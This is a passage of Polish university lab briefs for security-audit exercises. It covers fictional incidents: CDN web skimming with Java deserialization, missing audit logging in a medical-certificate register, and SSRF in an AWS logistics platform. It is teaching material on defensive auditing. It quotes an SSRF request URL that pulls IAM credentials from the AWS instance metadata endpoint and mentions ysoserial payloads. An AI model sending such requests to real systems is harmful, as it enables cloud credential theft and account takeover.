  Zredagujcie sformalizowany akt normatywny: "Standard Integralności Kodu, Łańcucha Zależności Webowych i Bezpiecznej Serializacji Danych Urzędu Zamówień Publicznych" z numerowanymi artykułami:

  • § 1 Cel i zakres standardu (zapewnienie integralności ofert i zgodności z PZP/NIS2).
  • § 2 Bezwzględny zakaz ładowania skryptów z publicznych sieci CDN (obowiązek Self-Hosted Assets).
  • § 3 Obligatoryjne stosowanie Subresource Integrity SRI (sumy SHA-384) i dyrektyw CSP.
  • § 4 Całkowity zakaz natywnej deserializacji obiektów Java (wymóg serializacji JSON z JSON Schema).
  • § 5 Procedury weryfikacji nienaruszalności danych FIM w czasie rzeczywistym.
  • § 6 Odpowiedzialność karna i dyscyplinarna za naruszenie poufności ofert przetargowych.
• Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

  Przygotujcie 1-stronicowy dokument dla Prezesa UZP i Kolegium Ministra: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), rozliczenie incydentu w 84 przetargach, zabezpieczenie 400 mld PLN rocznego obrotu państwa, wyeliminowanie sankcji z NIS2 (do 10 mln EUR) i odpowiedzialności karnej z art. 305 KK, kosztorys CAP (360 000 PLN na FIM, refaktoryzację i audyt CSIRT GOV) oraz stopa zwrotu z inwestycji (ROSI: ochrona zaufania do instytucji państwa).

Plan prezentacji seminaryjnej przed komisją (15 minut):

• Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Prezesa UZP i Ministra (3 min): Przedstawienie skali wycieku ofert w 84 strategicznych przetargach, ekspozycji gospodarczej i prawnej oraz bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
• Dekonstrukcja techniczna ataku Web Skimming na CDN i deserializacji Java (4 min): Prezentacja złośliwego kodu JS przechwytującego formularz, zrzutów ruchu WebSocket do C2, analiza braku atrybutów SRI w tagach script oraz demontaż ładunku RCE ysoserial (Student B - Technical SecOps Auditor).
• Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z art. 74 PZP, art. 305 KK, Dyrektywą NIS2 i normą ISO 27001 oraz wyliczenie redukcji ryzyka z IR=25 do RR=4 (Student C - Compliance Auditor).
• Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie migracji na Self-Hosted Assets, automatyzacji SRI w Webpack, polityki CSP i likwidacji deserializacji Java (Student B i Student C).
• Dyskusja z komisją i obrona rekomendacji (1 min): Odpowiedzi na pytania dotyczące skutków prawnych konieczności unieważnienia postępowań o wartości 12,4 mld PLN (cała Triada Audytorska).

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

• Syntetyczny bilans ryzyk integralnościowych w zamówieniach państwowych (IR vs RR).
• Skutki incydentu naruszenia poufności ofert przed otwarciem.
• Budżet Planu CAP (360 000 PLN) vs Return on Security Investment (ROSI).

B. Odpowiedzi na pytania problemowe i opis sytuacji kryzysowej:

• W jaki sposób mechanizm Subresource Integrity (SRI) zabezpiecza przeglądarkę użytkownika przed wykonaniem złośliwego kodu w przypadku kompromitacji zewnętrznej sieci dostarczania treści (CDN) i jakie są ograniczenia tego mechanizmu bez wdrożenia rygorystycznej polityki Content-Security-Policy (CSP)?
• Dlaczego natywna deserializacja obiektów w języku Java (`ObjectInputStream`) jest uznawana za wzorzec architektoniczny o fundamentalnym ryzyku (Insecure Deserialization) i w jaki sposób biblioteki gadżetów (Gadget Chains) umożliwiają zdalne wykonanie kodu bez obecności luk w samym kodzie aplikacji?
• Jakie są rygory prawne i proceduralne ciążące na Zamawiającym w przypadku ujawnienia faktu przedterminowego poznania zawartości ofert w świetle przepisów Ustawy - Prawo zamówień publicznych i Kodeksu Karnego?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 9.8 Critical).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Integralności Kodu i Danych (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (Performance vs Security: narzut transferowy hostowania lokalnego skryptów vs gwarancja nienaruszalności).

H. Bibliografia, netografia i regulacje prawne.

• OWASP Foundation: "OWASP Top 10:2021", Kategoria A08:2021 Software and Data Integrity Failures.
• OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V10 Malicious Code and Integrity, Sekcja V14 Configuration.
• World Wide Web Consortium (W3C): "Subresource Integrity W3C Recommendation", 2016.
• Ustawa z dnia 11 września 2019 r. - Prawo zamówień publicznych (Dz.U. z 2023 r. poz. 1605 z późn. zm.) - art. 74 (Zasady jawności i poufności).
• Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2555 z dnia 14 grudnia 2022 r. (Dyrektywa NIS2) - art. 21.
• Rozporządzenie Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie Krajowych Ram Interoperacyjności (Dz.U. z 2017 r. poz. 2247) - § 20.
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.24 (Krypto-zabezpieczenia), A.8.28 (Bezpieczne kodowanie), A.5.19 (Bezpieczeństwo w łańcuchu dostaw ICT).
• Kodeks Karny (Dz.U. z 1997 r. nr 88 poz. 553 z późn. zm.) - art. 305 (Udaremnienie lub utrudnienie przetargu publicznego).

• U2 Identyfikacja i dekompozycja uchybień integralności (brak SRI, deserializacja Java) w modelu 4C oraz dochodzenie 5 Why.
• U1 Projekt zintegrowanego systemu Self-Hosted Assets z automatyzacją SRI, polityką CSP i bezpieczną deserializacją JSON Schema.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i parametrami BCM.
• U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
• W1W2W3 Wyczerpująca znajomość Prawa zamówień publicznych, Dyrektywy NIS2, KRI, normy ISO 27001 i standardów W3C.
• K1K2K3 Obiektywizm, wysoka kultura inżynierska, bezkompromisowa ochrona tajemnicy państwowej i uczciwości procedur publicznych.

Podczas obrony referatu przedstawcie komisji bezpośrednie porównanie kodu tagu script przed audytem (podatne odwołanie do CDN) i po wdrożeniu Planu CAP (lokalny zasób z atrybutem integrity sha384). Wyjaśnijcie, dlaczego żaden system administracji państwowej nie może polegać na zewnętrznych serwerach CDN, których kontrola leży poza jurysdykcją Rzeczypospolitej Polskiej.

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce rygorystycznego audytu mechanizmów rejestrowania zdarzeń, telemetrii oraz ciągłego monitorowania bezpieczeństwa (kategoria OWASP Top 10:2021 - A09:2021 Security Logging and Monitoring Failures) w centralnym rejestrze orzeczeń lekarskich i psychologicznych prowadzonym przez instytut badawczo-rozwojowy medycyny pracy o statusie Podmiotu Kluczowego w rozumieniu Dyrektywy NIS2. Rejestr przetwarza dane szczególnej kategorii (art. 9 RODO): zaświadczenia o zdolności do pracy w warunkach uciążliwych i niebezpiecznych, orzeczenia lekarskie i psychologiczne kierowców zawodowych, operatorów maszyn ciężkich, sędziów, prokuratorów oraz osób ubiegających się o pozwolenie na broń palną. Audyt koncentruje się na katastrofalnych zaniechaniach telemetrycznych: całkowitym braku rejestrowania zdarzeń autoryzacyjnych, wyszukiwań i eksportów dokumentacji medycznej w warstwie aplikacji webowej, rotacji i bezpowrotnym nadpisywaniu surowych dzienników serwera NGINX co 48 godzin (brak retencji), ignorowaniu błędów HTTP 401 i 403 oraz braku jakiejkolwiek integracji z systemem Security Information and Event Management (SIEM). W toku incydentu nieuprawniony podmiot, posługując się przejętym kontem lekarza orzecznika, przez ponad 8 miesięcy prowadził systematyczną eksfiltrację dokumentacji psychologicznej oraz wystawił ponad 14 000 fałszywych orzeczeń dopuszczających do pracy z bronią palną i prowadzenia pojazdów ciężarowych. Incydent został wykryty całkowicie przypadkowo przez funkcjonariuszy Policji i CBŚP podczas śledztwa w sprawie zorganizowanej grupy przestępczej, a jednostka medyczna z powodu braku logów nie była w stanie określić skali naruszenia, tożsamości sprawcy ani wypełnić obowiązku zgłoszenia naruszenia do Prezesa UODO w rygorze 72 godzin (art. 33 RODO). Zadanie wymaga dekompozycji w kanonicznym modelu 4C, kwantyfikacji ryzyka w 25-stopniowej matrycy 5x5 skorelowanej ze wskaźnikami CVSS v3.1 (8.8 High) oraz BCM (RTO=30m, RPO=0s, MTPD=2h), skonstruowania Trójfazowego Planu CAP ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) definiującego ustandaryzowany format logowania Common Event Format (CEF / ECS), kryptograficzne znaczniki czasu RFC 3161, nienaruszalność logów w magazynie WORM oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Dyrekcji Instytutu i Wojewody.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

• W1 Zaawansowana znajomość rygorów prawnych ochrony danych medycznych i psychiatrycznych (art. 9 RODO), tajemnicy lekarskiej, Ustawy o służbie medycyny pracy, art. 33 i 34 RODO (notyfikacja naruszeń i zawiadamianie osób poszkodowanych) oraz odpowiedzialności karnej z art. 160 i 231 KK.
• W2W3 Rygorystyczna korelacja standardów OWASP Top 10:2021 (A09), OWASP ASVS v4.0.3 L3 (Sekcja V8 Rejestrowanie Danych i Telemetria Bezpieczeństwa), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.15 Rejestrowanie zdarzeń, A.8.16 Monitorowanie aktywności, A.8.17 Synchronizacja zegarów), § 20 ust. 2 pkt 10 KRI, Dyrektywy NIS2 (art. 21 ust. 2 lit. c - obsługa i zgłaszanie incydentów) oraz wytycznych NIST SP 800-92 (Guide to Computer Security Log Management).
• U1 Opracowanie zaleceń inżynierskich wdrożenia zunifikowanego formatu telemetrii w oparciu o OpenTelemetry i Elastic Common Schema (ECS), konfiguracji niezaprzeczalnego przesyłania dzienników (TLS Syslog) do klastra SIEM (Wazuh/Elastic Security), wdrożenia magazynu WORM (Write Once, Read Many) z kryptograficznym znakowaniem czasu (RFC 3161) oraz reguł korelacji UEBA wykrywających nietypowy wolumen pobieranych orzeczeń.
• U2 Bezbłędna kwalifikacja uchybienia telemetrii w modelu 4C z precyzyjnym wskazaniem kryteriów RODO, KRI i norm ISO.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów niemożności zbadania incydentu (braku rozliczalności), fałszowania orzeczeń na broń i sankcji UODO (IR=25, CVSS=8.8, korelacja z BCM).
• U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
• K1K2K3 Profesjonalizm audytorski, niezależność w ocenie zaniedbań kadry zarządzającej, ochrona bezpieczeństwa publicznego i wysoka etyka medyczno-inżynierska.
• Powiązanie z wykładem: Wyk1 (Audyt ładu rejestrów publicznych), Wyk3 (Kontrole A.8.15, A.8.16 i A.8.17 ISO 27001), Wyk4 (RODO art. 33 i KRI), Wyk5 (Matryca ryzyka 5x5 i BCM), Wyk6 (Analiza logów SIEM, NGINX i formatów CEF/ECS), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).

Centralny Ośrodek Medycyny Pracy w Łodzi jest państwowym instytutem badawczym i organem odwoławczym w strukturze medycyny pracy, nadzorującym wojewódzkie rejestry orzecznictwa lekarskiego. Zintegrowany System Orzecznictwa Elektronicznego 'e-Orzecznik' przechowuje ponad 2,4 miliona cyfrowych akt orzeczniczych pracowników całego kraju, w tym osób pełniących służbę w formacjach uzbrojonych, kierowców transportu międzynarodowego, maszynistów kolejowych oraz operatorów elektrowni i instalacji chemicznych.

Stan faktyczny w obszarze logowania, monitorowania i incydentu telemetrycznego:

• W architekturze aplikacji internetowej 'e-Orzecznik' (technologia Python/Django z serwerem NGINX) programiści zaimplementowali wyłącznie standardowe logowanie błędów frameworka (`DEBUG=False`, rejestrowanie wyłącznie wyjątków HTTP 500). Całkowicie pominięto rejestrowanie operacji biznesowych: faktów logowania, wylogowania, nieudanych prób autoryzacji, wyświetlenia orzeczenia, modyfikacji danych pacjenta oraz masowego eksportu zaświadczeń do formatu PDF.
• Konfiguracja serwera NGINX zakładała domyślną rotację logów systemowych (`access.log` oraz `error.log`) w cyklu dobowym z retencją zaledwie 2 dni (`rotate 2`). Po upływie 48 godzin pliki dzienników były bezpowrotnie usuwane z dysku w celu "oszczędności miejsca na macierzy".
• Instytut nie posiadał wdrożonego systemu SIEM, a dzienniki serwerowe nigdy nie były analizowane pod kątem incydentów bezpieczeństwa. Na firewallu brzegowym nie włączono alertów dotyczących nietypowego transferu danych wychodzących.
• W marcu 2024 r. funkcjonariusze Centralnego Biura Śledczego Policji (CBŚP) podczas zatrzymania członków grupy handlującej nielegalną bronią palną i narkotykami zabezpieczyli 250 autentycznych, zarejestrowanych w systemie 'e-Orzecznik' orzeczeń psychologicznych dopuszczających do posiadania broni bojowej, wystawionych bez wiedzy i udziału osób badanych na nazwiska przestępców. Orzeczenia zostały wygenerowane z konta lekarki, która przebywała na rocznym urlopie macierzyńskim.
• W toku wszczętego audytu okazało się, że konto lekarki zostało przejęte ponad 8 miesięcy wcześniej (atak phishingowy). Sprawcy, logując się przez sieć Tor, nie tylko wystawili ponad 14 000 nielegalnych orzeczeń lekarskich (w tym dla kierowców TIR-ów z chorobami neurologicznymi i wzroku), ale także pobrali kompletną bazę danych orzeczeń psychiatrycznych funkcjonariuszy służb mundurowych. Z powodu usunięcia logów starszych niż 48 godzin zespół audytorski nie był w stanie ustalić adresu IP, z którego rozpoczęto atak, ani pełnej listy pobranych akt medycznych.
• Instytut stanął w obliczu katastrofalnych konsekwencji: unieważnienia tysięcy praw jazdy i pozwoleń na broń, natychmiastowej kontroli Prezesa UODO z zarzutem naruszenia art. 33 RODO (brak możliwości zgłoszenia precyzyjnego zakresu naruszenia w terminie 72 godzin) oraz paraliżu orzecznictwa w kraju.

Dyrektor Instytutu, stając w obliczu dymisji, odpowiedzialności karnej z art. 231 KK i wielomilionowych kar, powołuje Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

• Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

  Student A (Lead Auditor / Zgodność z RODO i Ład Rejestrów Medycznych): Odpowiada za ład prawny i regulacyjny, zgodność z art. 9, 32 i 33 RODO, przepisami Ustawy o służbie medycyny pracy, relacje z UODO i CBŚP, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board") dla Dyrekcji i Wojewody.

  Student B (Technical SecOps Auditor / Architekt Telemetrii i SIEM/SOC): Dokonuje technicznej dekonstrukcji braków logowania w Django i NGINX, bada polityki rotacji logrotate, projektuje ustandaryzowany schemat zdarzeń audytowych w formacie Elastic Common Schema (ECS), konfigurację bezpiecznego przesyłania rsyslog/TLS, architekturę SIEM (Wazuh/OpenSearch) oraz magazyn WORM ze znacznikami RFC 3161.

  Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (8.8 High) i BCM (RTO=30m, RPO=0s, MTPD=2h), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

• Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

  Sformułujcie kartę uchybienia krytycznego w modelu 4C:

• Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

  Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

• Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

  Opracujcie tabelę CAP w 3 horyzontach czasowych:

• Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

  Zredagujcie sformalizowany akt normatywny: "Standard Rejestrowania Dzienników Bezpieczeństwa, Telemetrii i Monitorowania Zdarzeń Audytowych w Centralnym Ośrodku Medycyny Pracy" z numerowanymi artykułami:

  • § 1 Cel i zakres stosowania (zapewnienie rozliczalności i zgodności z RODO art. 32 i KRI § 20).
  • § 2 Obowiązkowy katalog zdarzeń podlegających rejestracji (uwierzytelnianie, dostęp do akt, modyfikacje, eksporty).
  • § 3 Standard formatowania danych telemetrycznych (wymóg formatu Elastic Common Schema ECS / CEF).
  • § 4 Nienaruszalność, szyfrowanie i retencja dzienników (wymóg magazynu WORM, znaczniki RFC 3161 i retencja min. 24 miesiące).
  • § 5 Organizacja ciągłego monitorowania SOC 24/7/365 i reguły korelacji UEBA.
  • § 6 Procedura powiadamiania o incydencie w rygorze 72h i sankcje dyscyplinarne.
• Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

  Przygotujcie 1-stronicowy dokument dla Dyrekcji i Wojewody: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), rozliczenie incydentu 14 000 orzeczeń na broń, uniknięcie kar UODO (do 20 mln EUR) i zarzutów prokuratorskich z art. 231 KK, kosztorys CAP (390 000 PLN na SIEM, WORM i SOC) oraz stopa zwrotu z inwestycji (ROSI: ochrona bezpieczeństwa obywateli i zachowanie statusu instytutu badawczego).

Plan obrony seminaryjnej przed komisją laboratoryjną (15 minut):

• Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Dyrekcji i Wojewody (3 min): Przedstawienie skali incydentu fałszywych orzeczeń na broń, ekspozycji prawnej na kary UODO i bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
• Dekonstrukcja techniczna braków telemetrii i analizy logrotate (4 min): Prezentacja konfiguracji rotacji logów NGINX co 48h, dekompozycja braku logowania w Django, demonstracja schematu ECS oraz symulacja kradzieży tożsamości przez sieć Tor (Student B - Technical SecOps Auditor).
• Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z art. 32 i 33 RODO, § 20 KRI, art. 160/231 KK i normą ISO 27001 oraz wyliczenie redukcji ryzyka z IR=25 do RR=4 (Student C - Compliance Auditor).
• Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie wdrożenia SIEM Wazuh, magazynu WORM RFC 3161, reguł korelacji UEBA i centrum operacyjnego SOC 24/7/365 (Student B i Student C).
• Dyskusja z komisją i obrona rekomendacji (1 min): Odpowiedzi na pytania dotyczące spełnienia wymogu notyfikacji UODO w 72h przy braku danych z logów (cała Triada Audytorska).

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

• Syntetyczny bilans ryzyk braku telemetrii i audytowalności (IR vs RR).
• Skutki incydentu fałszywych orzeczeń lekarskich dla bezpieczeństwa państwa.
• Budżet Planu CAP (390 000 PLN) vs Return on Security Investment (ROSI).

B. Odpowiedzi na pytania problemowe i opis sytuacji kryzysowej:

• W jaki sposób brak audytowych dzienników zdarzeń uniemożliwia Administratorowi Danych Osobowych wywiązanie się z obowiązku rozliczalności (art. 5 ust. 2 RODO) oraz zgłoszenia naruszenia ochrony danych osobowych do organu nadzorczego w terminie 72 godzin (art. 33 RODO)?
• Jakie są kluczowe atrybuty schematu Elastic Common Schema (ECS) lub Common Event Format (CEF), które muszą znaleźć się w każdym wpisie audytowym aplikacji webowej, aby zagwarantować pełną rekonstrukcję incydentu w systemie SIEM?
• Czym różni się tradycyjny zapis logów na dysku serwera od niezmiennego magazynu WORM (Write Once, Read Many) zabezpieczonego kryptograficznym znacznikiem czasu (RFC 3161) i dlaczego mechanizm ten jest kluczowy dla zachowania mocy dowodowej w postępowaniu karnym?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 8.8 High).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Rejestrowania Dzienników Bezpieczeństwa (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (Storage vs Visibility: koszty retencji petabajtów logów medycznych vs zdolność do dochodzenia incydentów).

H. Bibliografia, netografia i regulacje prawne.

• OWASP Foundation: "OWASP Top 10:2021", Kategoria A09:2021 Security Logging and Monitoring Failures.
• OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V8 Data Protection and Security Logging.
• National Institute of Standards and Technology (NIST): "SP 800-92: Guide to Computer Security Log Management", 2006.
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 9 (Dane szczególnej kategorii), art. 32 (Bezpieczeństwo), art. 33 (Zgłaszanie naruszeń w 72h).
• Rozporządzenie Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie Krajowych Ram Interoperacyjności (Dz.U. z 2017 r. poz. 2247) - § 20 ust. 2 pkt 10.
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.15 (Rejestrowanie zdarzeń), A.8.16 (Monitorowanie aktywności), A.8.17 (Synchronizacja zegarów).
• IETF: "RFC 3161: Internet X.509 Public Key Infrastructure Time-Stamp Protocol (TSP)", 2001.
• Kodeks Karny (Dz.U. z 1997 r. nr 88 poz. 553 z późn. zm.) - art. 160 (Zagrożenie życia i zdrowia), art. 231 (Niedopełnienie obowiązków służbowych).

• U2 Precyzyjna identyfikacja i formalna kwalifikacja zaniechań telemetrycznych w modelu 4C oraz dochodzenie 5 Why.
• U1 Projekt zintegrowanego systemu telemetrii ECS, klastra SIEM Wazuh, magazynu WORM RFC 3161 i centrum SOC.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i parametrami BCM.
• U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
• W1W2W3 Wyczerpująca znajomość RODO art. 32 i 33, KRI § 20, Dyrektywy NIS2, normy ISO 27001 i wytycznych NIST SP 800-92.
• K1K2K3 Obiektywizm, wysoka etyka zawodowa, bezkompromisowa ochrona interesu publicznego i bezpieczeństwa obywateli.

Podczas wystąpienia przed komisją zaprezentujcie symulację zdarzenia w klastrze SIEM: pokażcie, jak reguła korelacji UEBA wykrywa pobranie 50 orzeczeń lekarskich w 3 minuty i natychmiastowo blokuje konto orzecznika w czasie rzeczywistym, co w badanym studium przypadku zapobiegłoby wydaniu 14 000 nielegalnych zaświadczeń.

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce specjalistycznego audytu podatności fałszowania żądań po stronie serwera (kategoria OWASP Top 10:2021 - A10:2021 Server-Side Request Forgery - SSRF) w chmurowej platformie dyspozycji frachtowej i rozliczeń tranzytowych 'GlobalTransit Cloud' międzynarodowego operatora logistycznego o statusie Podmiotu Kluczowego w rozumieniu Dyrektywy NIS2. Platforma operuje w publicznej chmurze obliczeniowej Amazon Web Services (AWS) z wykorzystaniem zarządzanego klastra Kubernetes (Amazon EKS) oraz instancji wirtualnych Amazon EC2, koordynując transport ładunków o znaczeniu strategicznym (paliwa, komponenty farmaceutyczne, zaopatrzenie wojskowe) na terenie 14 państw Unii Europejskiej. Audyt ujawnia krytyczną podatność SSRF w mikroserwisie generowania podglądu dokumentów celnych i faktur przewozowych PDF (`/api/v1/customs/fetch-declaration?preview_url=...`), który bez jakiejkolwiek walidacji adresu docelowego (brak whitelisting i brak filtrowania adresów prywatnych RFC 1918) pobierał zasoby wskazane przez użytkownika. Co gorsza, na instancjach węzłów roboczych EC2 pozostawiono aktywną archiwalną wersję usługi metadanych (AWS Instance Metadata Service v1 - IMDSv1), która nie wymaga nagłówka sesyjnego tokenu. Intruz, przesyłając adres `http://169.254.169.254/latest/meta-data/iam/security-credentials/TransitMasterRole`, wykrzywił tymczasowe klucze poświadczeń AWS (AccessKeyId, SecretAccessKey, Token) skojarzone z rolą węzła, posiadającą nadmiarowe, krytycznie błędne uprawnienia administracyjne (`AdministratorAccess`). Wykorzystując pozyskane poświadczenia, intruz wykonał ruch boczny w chmurze AWS, wyeksfiltrował telemetrię 8 000 pojazdów, zaszyfrował bazy danych w magazynach Amazon S3 i bazach RDS oprogramowaniem ransomware oraz zażądał 5 mln USD okupu, grożąc całkowitym paraliżem łańcuchów dostaw w Europie Środkowej. Zadanie wymaga dekompozycji w kanonicznym modelu 4C, wyliczenia ryzyka w 25-stopniowej matrycy 5x5 skorelowanej z punktacją CVSS v3.1 (9.9 Critical) oraz parametrami BCM (RTO=15m, RPO=0s, MTPD=45m), skonstruowania Trójfazowego Planu CAP ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) regulującego wymuszenie standardu IMDSv2, izolację sieciową mikroserwisów za pomocą AWS Network Firewall, wdrożenie ról IRSA (IAM Roles for Service Accounts) wg zasady Least Privilege oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Zarządu i Rady Nadzorczej.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

• W1 Zaawansowana znajomość rygorów bezpieczeństwa łańcucha dostaw i transportu, przepisów Dyrektywy NIS2, Rozporządzenia DORA, Ustawy o KSC, prawa celnego oraz odpowiedzialności karnej z art. 267 i 269b KK (zakłócenie funkcjonowania systemu informatycznego o szczególnym znaczeniu).
• W2W3 Rygorystyczna korelacja standardów OWASP Top 10:2021 (A10 SSRF), OWASP ASVS v4.0.3 L3 (Sekcja V5.5 SSRF Protection), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.20 Bezpieczeństwo sieci, A.8.24 Krypto-zabezpieczenia, A.8.26 Wymagania bezpieczeństwa aplikacji), zaleceń CIS Amazon Web Services Foundations Benchmark v2.0 oraz wytycznych AWS Well-Architected Framework (Security Pillar).
• U1 Opracowanie zaleceń inżynierskich twardego wymuszenia protokołu IMDSv2 (`HttpTokens=required`, `HttpPutResponseHopLimit=1`) na wszystkich instancjach EC2, migracji uprawnień kontenerów EKS na mechanizm IAM Roles for Service Accounts (IRSA) z restrykcyjnymi politykami IAM, wdrożenia zapory AWS Network Firewall blokującej ruch do adresu 169.254.169.254 z podów aplikacyjnych oraz ochrony przed atakami DNS Rebinding.
• U2 Bezbłędna kwalifikacja uchybienia SSRF i nadmiarowych uprawnień chmurowych w modelu 4C z powołaniem norm i standardów CIS.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów przejęcia konta AWS, paraliżu łańcucha dostaw i wycieku tras konwojów wojskowych (IR=25, CVSS=9.9, korelacja z BCM).
• U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
• K1K2K3 Profesjonalizm audytorski, niezależność w ocenie architektury chmurowej, dbałość o odporność logistyczną państwa i etyka zawodowa.
• Powiązanie z wykładem: Wyk1 (Audyt ładu w infrastrukturze chmurowej), Wyk3 (Kontrole A.8.20 i A.8.26 ISO 27001), Wyk4 (NIS2 i DORA w logistyce), Wyk5 (Matryca ryzyka 5x5 i BCM), Wyk6 (Analiza logów AWS CloudTrail, VPC Flow Logs i zapytań SSRF), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).

'Trans-Cargo Polska S.A.' jest jednym z wiodących operatorów logistycznych w regionie CEE, dysponującym flotą ponad 4 500 ciągników siodłowych oraz 18 centrami dystrybucyjnymi. System teleinformatyczny 'GlobalTransit Cloud' odpowiada za automatyczną odprawę celną, generowanie międzynarodowych listów przewozowych CMR, billing frachtowy oraz telematyczne monitorowanie położenia pojazdów w czasie rzeczywistym.

Stan faktyczny w obszarze podatności SSRF i incydentu kompromitacji chmury:

• Mikroserwis obsługi dokumentacji celnej (`customs-service`), wdrożony jako kontener w klastrze Amazon EKS na instancjach EC2, udostępniał publiczny endpoint API: `GET /api/v1/customs/fetch-declaration?preview_url=http://partner-logistics.eu/doc.pdf`. W kodzie aplikacji (Node.js/Axios) brakowało jakiejkolwiek walidacji adresu: aplikacja bezkrytycznie wykonywała żądanie HTTP GET pod wskazany adres URL i zwracała treść odpowiedzi jako strumień bajtów podglądu.
• W konfiguracji węzłów klastra EC2 usługa metadanych instancji (Instance Metadata Service) działała w domyślnej wersji IMDSv1. Wersja ta nie wymagała autoryzacji tokenem sesyjnym (w przeciwieństwie do IMDSv2, która wymaga uprzedniego pobrania tokenu przez żądanie HTTP PUT z nagłówkiem `X-aws-ec2-metadata-token-ttl-seconds`).
• Co gorsza, z powodu pośpiechu przy wdrożeniu produkcyjnym, węzłom roboczym EKS przypisano profil instancji (Instance Profile) z rolą IAM `TransitMasterRole`, która zawierała zarządzaną politykę AWS `AdministratorAccess` (dającą pełne uprawnienia do wszystkich usług konta AWS: S3, RDS, IAM, KMS, VPC, CloudTrail).
